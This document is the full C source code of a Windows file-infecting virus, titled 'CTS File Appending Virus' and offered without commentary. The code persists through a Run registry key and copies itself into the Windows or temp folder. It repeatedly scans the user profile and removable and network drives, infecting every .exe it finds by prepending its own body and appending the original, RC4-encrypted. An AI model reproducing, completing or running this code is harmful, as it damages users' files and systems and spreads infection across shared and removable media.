CTS File Appending Virus - Source Code

#include <Windows.h>
#include "ntdll.h"

#pragma comment(lib,"ntdll.lib")

#define CTS_VIRUS_SIGNATURE '\nSTC'
#define CTS_KEY_LENGTH 16

typedef struct _CTS_FILE_DATA
{
    ULONG FileSize;
    HANDLE hFile;
    UCHAR Data[1];
}CTS_FILE_DATA,*PCTS_FILE_DATA;

typedef struct _CTS_APPEND_DATA
{
    ULONG Signature;
    ULONG FileSize;
    UCHAR Key[16];
}CTS_APPEND_DATA,*PCTS_APPEND_DATA;

LPWSTR CtsVirusPath;
HCRYPTPROV CtsCryptProv;

PVOID CtsVirusFile;
ULONG CtsVirusSize,CtsVirusChecksum;

ULONG __fastcall CtsComputeCrc32(PVOID Buffer,ULONG Length)
{
    ULONG i,j,Crc=0xFFFFFFFF,Crc32Table[256];
    PUCHAR ptr=(PUCHAR)Buffer;

    for(i=0;i<256;i++)
    {
        Crc32Table[i]=i;

        for(j=0;j<8;j++)
        {
            Crc32Table[i]=Crc32Table[i] & 1 ? (Crc32Table[i]>>1)^0xEDB88320:Crc32Table[i]>>1;
        }
    }

    for(i=0;i<Length;i++)
    {
        Crc=Crc32Table[(Crc^ptr[i]) & 0xFF]^(Crc>>8);
    }

    return ~Crc;
}

void __fastcall CtsGenerateRandomData(PVOID Buffer,ULONG Length)
{
    CryptGenRandom(CtsCryptProv,Length,(PUCHAR)Buffer);
}

ULONG WINAPI CtsGenerateRandomNumber()
{
    ULONG i=0;

    CtsGenerateRandomData(&i,sizeof(ULONG));
    return i;
}

void __fastcall CtsCryptData(PVOID Buffer,ULONG Length,PVOID Key)
{
    ULONG i,j,x;
    UCHAR State[256],Swap,*k=(PUCHAR)Key,*ptr=(PUCHAR)Buffer;

    for(i=0;i<256;i++)
    {
        State[i]=(UCHAR)i;
    }

    j=0;

    for(i=0;i<256;i++)
    {
        j=(j+State[i]+k[i % CTS_KEY_LENGTH]) & 0xFF;
        Swap=State[i];

        State[i]=State[j];
        State[j]=Swap;
    }

    i=0;
    j=0;

    for(x=0;x<Length;x++)
    {
        i=(i+1) & 0xFF;
        j=(j+State[i]) & 0xFF;

        Swap=State[i];

        State[i]=State[j];
        State[j]=Swap;

        ptr[x]^=State[(State[i]+State[j]) & 0xFF];
    }
}

PCTS_FILE_DATA __fastcall CtsLoadFile(LPWSTR FileName)
{
    ULONG FileSize,read;
    HANDLE hFile;

    PCTS_FILE_DATA FileData;

    hFile=CreateFile(FileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);

    if(hFile==INVALID_HANDLE_VALUE)
    {
        return NULL;
    }

    FileSize=GetFileSize(hFile,NULL);
    FileData=(PCTS_FILE_DATA)LocalAlloc(LMEM_ZEROINIT,sizeof(CTS_FILE_DATA)+FileSize);

    if(!FileData)
    {
        NtClose(hFile);
        return NULL;
    }

    if(!ReadFile(hFile,FileData->Data,FileSize,&read,NULL))
    {
        NtClose(hFile);

        LocalFree(FileData);
        return NULL;
    }

    FileData->FileSize=FileSize;
    FileData->hFile=hFile;

    SetFilePointer(FileData->hFile,0,NULL,FILE_BEGIN);
    return FileData;
}

void __fastcall CtsUnloadFile(PCTS_FILE_DATA FileData)
{
    NtClose(FileData->hFile);
    LocalFree(FileData);
}

void WINAPI CtsExtractFile(PVOID Buffer,ULONG Length,LPWSTR CommandLine)
{
    ULONG i,write;
    HANDLE hFile;

    wchar_t FilePath[512],FileName[16];

    BOOL Sucess,Infected;
    BOOLEAN IsAdmin,bl;

    HKEY hKey;

    PVOID AppendedFile;
    PCTS_APPEND_DATA AppendData;

    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    wchar_t c[]=
        L"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        L"abcdefghijklmnopqrstuvwxyz"
        L"0123456789";

    AppendData=(PCTS_APPEND_DATA)((PUCHAR)Buffer+Length-sizeof(CTS_APPEND_DATA));

    if(AppendData->Signature==CTS_VIRUS_SIGNATURE)
    {
        AppendedFile=(PUCHAR)AppendData-AppendData->FileSize;
        CtsCryptData(AppendedFile,AppendData->FileSize,AppendData->Key);

        for(i=0;i<15;i++)
        {
            FileName[i]=c[CtsGenerateRandomNumber() % ((sizeof(c)/sizeof(wchar_t))-1)];
        }

        FileName[i]=0;
        ExpandEnvironmentStrings(L"%temp%\\",FilePath,512);

        wcscat(FilePath,FileName);
        wcscat(FilePath,L".exe");

        hFile=CreateFile(FilePath,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);

        if(hFile!=INVALID_HANDLE_VALUE)
        {
            Sucess=WriteFile(hFile,AppendedFile,AppendData->FileSize,&write,NULL);
            NtClose(hFile);

            if(Sucess)
            {
                memset(&si,0,sizeof(si));
                memset(&pi,0,sizeof(pi));

                wcscat(FilePath,L" ");
                wcscat(FilePath,CommandLine);

                if(CreateProcess(NULL,FilePath,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi))
                {
                    NtClose(pi.hThread);
                    NtClose(pi.hProcess);
                }
            }
        }
    }

    CtsVirusFile=Buffer;
    CtsVirusSize=AppendData->Signature==CTS_VIRUS_SIGNATURE ? Length-sizeof(CTS_APPEND_DATA)-AppendData->FileSize:Length;

    Infected=AppendData->Signature==CTS_VIRUS_SIGNATURE;

    memset(AppendedFile,0,AppendData->FileSize);
    memset(AppendData,0,sizeof(CTS_APPEND_DATA));

    IsAdmin=NT_SUCCESS(RtlAdjustPrivilege(20,TRUE,FALSE,&bl));
    ExpandEnvironmentStrings(IsAdmin ? L"%windir%\\CTS.exe":L"%temp%\\CTS.exe",FilePath,512);

    hFile=CreateFile(FilePath,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);

    if(hFile!=INVALID_HANDLE_VALUE)
    {
        WriteFile(hFile,CtsVirusFile,CtsVirusSize,&write,NULL);
        NtClose(hFile);
    }

    if(!RegCreateKey(IsAdmin ? HKEY_LOCAL_MACHINE:HKEY_CURRENT_USER,L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey))
    {
        RegSetValueEx(hKey,L"CTS",0,REG_SZ,(PUCHAR)FilePath,(wcslen(FilePath)+1)*sizeof(wchar_t));
        RegCloseKey(hKey);
    }

    if(Infected)
    {
        memset(&si,0,sizeof(si));
        memset(&pi,0,sizeof(pi));

        CreateProcess(FilePath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
        ExitProcess(0);
    }

    CtsVirusChecksum=CtsComputeCrc32(CtsVirusFile,CtsVirusSize);
}

void WINAPI CtsExtractVirus(LPWSTR CommandLine)
{
    ULONG FileSize,read;
    HANDLE hFile;

    PVOID Buffer;

    hFile=CreateFile(CtsVirusPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);

    if(hFile!=INVALID_HANDLE_VALUE)
    {
        FileSize=GetFileSize(hFile,NULL);
        Buffer=LocalAlloc(LMEM_ZEROINIT,FileSize);

        if(Buffer)
        {
            if(ReadFile(hFile,Buffer,FileSize,&read,NULL))
            {
                CtsExtractFile(Buffer,FileSize,CommandLine);
            }
        }
    }
}

void __fastcall CtsInfectFile(LPWSTR FileName)
{
    PCTS_FILE_DATA FileData;
    CTS_APPEND_DATA AppendData;

    ULONG write;
    UCHAR Key[CTS_KEY_LENGTH];

    FileData=CtsLoadFile(FileName);

    if(FileData)
    {
        if(CtsComputeCrc32(FileData->Data,FileData->FileSize)==CtsVirusChecksum)
        {
            CtsUnloadFile(FileData);
            return;
        }

        if(*(PULONG)((PUCHAR)FileData->Data+FileData->FileSize-sizeof(CTS_APPEND_DATA))==CTS_VIRUS_SIGNATURE)
        {
            CtsUnloadFile(FileData);
            return;
        }

        if(WriteFile(FileData->hFile,CtsVirusFile,CtsVirusSize,&write,NULL))
        {
            CtsGenerateRandomData(Key,CTS_KEY_LENGTH);
            CtsCryptData(FileData->Data,FileData->FileSize,Key);

            AppendData.Signature=CTS_VIRUS_SIGNATURE;
            AppendData.FileSize=FileData->FileSize;

            memcpy(AppendData.Key,Key,CTS_KEY_LENGTH);

            WriteFile(FileData->hFile,FileData->Data,FileData->FileSize,&write,NULL);
            WriteFile(FileData->hFile,&AppendData,sizeof(CTS_APPEND_DATA),&write,NULL);

            FlushFileBuffers(FileData->hFile);
        }

        CtsUnloadFile(FileData);
    }
}

BOOL WINAPI CtsInitialize()
{
    PPEB Peb;
    PLDR_DATA_TABLE_ENTRY Ldr;

    Peb=(PPEB)__readfsdword(0x30);
    Ldr=CONTAINING_RECORD(Peb->Ldr->InMemoryOrderModuleList.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink);

    CtsVirusPath=Ldr->FullDllName.Buffer;

    if(!CryptAcquireContext(&CtsCryptProv,NULL,NULL,PROV_RSA_FULL,CRYPT_VERIFYCONTEXT))
    {
        return FALSE;
    }

    return TRUE;
}

void __fastcall CtsSearchFiles(LPWSTR Path)
{
    HANDLE hFind;
    wchar_t SearchName[512],FullPath[512];

    WIN32_FIND_DATA FindData;

    wsprintf(SearchName,L"%s\\*",Path);
    hFind=FindFirstFile(SearchName,&FindData);

    if(hFind!=INVALID_HANDLE_VALUE)
    {
        while(FindNextFile(hFind,&FindData))
        {
            if(FindData.cFileName[0]=='.')
            {
                continue;
            }

            wsprintf(FullPath,L"%s\\%s",Path,FindData.cFileName);

            if(FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            {
                CtsSearchFiles(FullPath);
            }

            else
            {
                if(wcsstr(FindData.cFileName,L".exe"))
                {
                    CtsInfectFile(FullPath);
                }
            }
        }

        FindClose(hFind);
    }
}

DWORD WINAPI CtsInfectDriveThread(PVOID p)
{
    CtsSearchFiles((LPWSTR)p);
    LocalFree(p);

    return 0;
}

DWORD WINAPI CtsSearchDrivesThread(PVOID p)
{
    LARGE_INTEGER delay;
    ULONG DriveType;

    wchar_t Drives[1024],*str,*buf;

    delay.QuadPart=(__int64)-300000*10000;

    while(1)
    {
        memset(Drives,0,sizeof(Drives));
        GetLogicalDriveStrings(1024,Drives);

        str=Drives;

        while(*str)
        {
            DriveType=GetDriveType(str);

            if(DriveType==DRIVE_REMOVABLE || DriveType==DRIVE_REMOTE)
            {
                buf=(LPWSTR)LocalAlloc(LMEM_ZEROINIT,(wcslen(str)+1)*sizeof(wchar_t));
                wcscpy(buf,str);

                NtClose(CreateThread(NULL,0,CtsInfectDriveThread,buf,0,NULL));
            }

            str+=wcslen(str)+1;
        }

        NtDelayExecution(FALSE,&delay);
    }
}

int WINAPI wWinMain(HINSTANCE hInst,HINSTANCE hPrev,LPWSTR lpCmdLine,int nCmdShow)
{
    LARGE_INTEGER delay;
    wchar_t UserProfile[1024];

    if(!CtsInitialize())
    {
        return -1;
    }

    CtsExtractVirus(lpCmdLine);
    CreateMutex(NULL,TRUE,L"Global\\3pc6RWOgectGTFqCowxjeGy3XIGPtLwNrsr2zDctYD4hAU5pj4GW7rm8gHrHyTB6");

    if(GetLastError()==ERROR_ALREADY_EXISTS)
    {
        return 0;
    }

    CreateThread(NULL,0,CtsSearchDrivesThread,NULL,0,NULL);
    GetEnvironmentVariable(L"userprofile",UserProfile,1024);

    delay.QuadPart=(__int64)-300000*10000;

    while(1)
    {
        CtsSearchFiles(UserProfile);
        NtDelayExecution(FALSE,&delay);
    }
}